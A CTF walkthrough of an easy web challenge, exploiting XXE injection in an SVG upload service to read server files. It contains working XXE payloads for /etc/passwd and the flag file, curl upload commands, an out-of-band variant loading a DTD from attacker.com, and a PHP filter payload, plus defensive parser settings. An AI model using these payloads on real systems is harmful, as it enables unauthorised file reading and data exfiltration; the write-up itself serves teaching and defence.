Студия анимаций (SVG Animation Studio)
Студия анимаций (SVG Animation Studio)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: local_file_read, svg_xxe, xxe_injection
Summary
Walkthrough of the CUSTOM Web Студия анимаций (SVG Animation Studio). Task: SVG animation web app with file upload. Solution: XXE injection in SVG parser to read /app/flag.txt via SYSTEM entity.
Description
"Как тебе мой сайт для анимации свг'шек?" (How do you like my SVG animation site?)
URL: http://tasks.duckerz.ru:30016
A web application that allows uploading SVG files and applying various animations to them.
Analysis
Reconnaissance
- Technologies: Flask/Werkzeug Python web application
- Functionality: Upload SVG files and apply animations
- Endpoint: POST
/animate- processes uploaded SVG files
Vulnerability
XXE (XML External Entity) Injection in the SVG parser.
SVG files are XML documents. The server parses them without disabling external entities, which allows reading arbitrary files on the server.
Why this works:
- SVG = XML format
- Parser doesn't disable
SYSTEMentities - File contents are substituted into SVG and returned to the client
Solution
Step 1: Testing XXE via /etc/passwd
Create an SVG with XXE payload:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="10" y="20">&xxe;</text> </svg>
Send it:
bash read-only • copy allowedcurl -X POST http://tasks.duckerz.ru:30016/animate \ -F "file=@xxe_test.svg" \ -F "animation=pulse" \ -F "bg_color=#121212"
The server returns SVG with /etc/passwd contents in the <text> element - XXE works!
Step 2: Reading the flag
Typical flag paths in CTF: /flag, /flag.txt, /app/flag.txt
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///app/flag.txt"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="10" y="20">&xxe;</text> </svg>
bash read-only • copy allowedcurl -X POST http://tasks.duckerz.ru:30016/animate \ -F "file=@xxe_flag.svg" \ -F "animation=pulse" \ -F "bg_color=#121212"
The server returned SVG with the flag inside the <text> element.
Defense
To protect against XXE, disable external entities:
Python (lxml):
python read-only • copy allowedfrom lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True)
Python (defusedxml):
python read-only • copy allowedimport defusedxml.ElementTree as ET tree = ET.parse(file) # Safe by default
Additional XXE Techniques
Out-of-Band (OOB) XXE
If data is not displayed directly:
xml read-only • copy allowed<!DOCTYPE svg [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]>
PHP Wrapper (for PHP backends)
xml read-only • copy allowed<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
References
- OWASP XXE Prevention Cheat Sheet
- PortSwigger XXE
- PayloadsAllTheThings XXE
Key Takeaways / Lessons
- Mastering local_file_read, svg_xxe, xxe_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-09 • CUSTOM • Студия анимаций (SVG Animation Studio) • Difficulty: Easy